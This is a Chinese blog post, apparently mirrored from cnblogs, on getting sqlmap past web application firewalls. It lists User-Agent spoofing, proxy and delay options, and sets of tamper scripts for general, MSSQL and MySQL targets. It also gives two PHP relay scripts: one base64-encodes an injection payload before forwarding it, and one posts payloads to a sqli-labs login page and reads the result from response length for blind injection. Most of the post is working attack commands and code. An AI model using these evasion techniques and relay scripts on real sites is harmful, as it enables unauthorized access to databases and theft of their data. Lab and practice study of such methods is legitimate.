zoukankan      html  css  js  c++  java
  • sqlmap之绕过waf思路

    1.设置请求头

    --random-agent
    --user-agent="User-Agent':'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
    --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

    2.设置代理

    --proxy=http://127.0.0.1:8080

    3.设置延迟

    --delay=1

    4.利用--tamper参数中的编码脚本

    常见编码搭配方式
    普通tamper搭配方式:

    tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

    数据库为MSSQL的搭配方式:

    tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

    数据库为MySql的搭配方式:

    tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

    5.示例

    中转注入base64编码型

    <?php
    $payload=base64_encode($_GET['x']);//对中转脚本接收的参数进行base64编码
    echo $payload
    $urls="http://xxx/xxxx?q=1$payload";//对请求的网址拼接base64编码的字符串
    file_get_contents($urls);//请求目标网站
    echo $urls;
    ?>

    POST型注入

    注入点为

    uname=admin&passwd=hhh&submit=Submit

    构造脚本

    <?php
    $url = "http://192.168.1.104/sqli/Less-11/index.php";
    $sql = $_GET[s];//获取中转脚本传过来的payload 
    $s = urlencode($sql);
    $params = "uname=admin$s&passwd=aa";
    $ch = curl_init();// 创建一个新cURL资源
     curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址,可以在用curl_init()函数初始化时设置这个选项
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
    curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值   
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载,下线,或者崩溃等可能状况。
    curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    // 抓取URL并把它传递给浏览器 
    $output = curl_exec($ch);
    // 关闭cURL资源,并且释放系统资源
    curl_close($ch);
    $a = strlen($output);
    //echo $a;
    if($a==2846){
        echo "1";
    }else{
        echo "2";
    }
     
    作者:拾瑾
    个性签名:愿历经千帆,归来仍少年.
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利.
  • 相关阅读:
    RTTI机制
    constexpr
    map/unordered_map
    Centos 安装Oracle
    JS带进度 文件 重复 自动 异步上传
    xadmin 小组件默认折叠
    xadmin datetime 类型报错 unsupported format characte
    Vmware 链接克隆 转 完整克隆 Converting a linked clone virtual machine to a full clone virtual machine
    vsftpd 530 500 553
    百度自然语言处理API调用
  • 原文地址:https://www.cnblogs.com/ayoung/p/15458922.html
Copyright © 2011-2022 走看看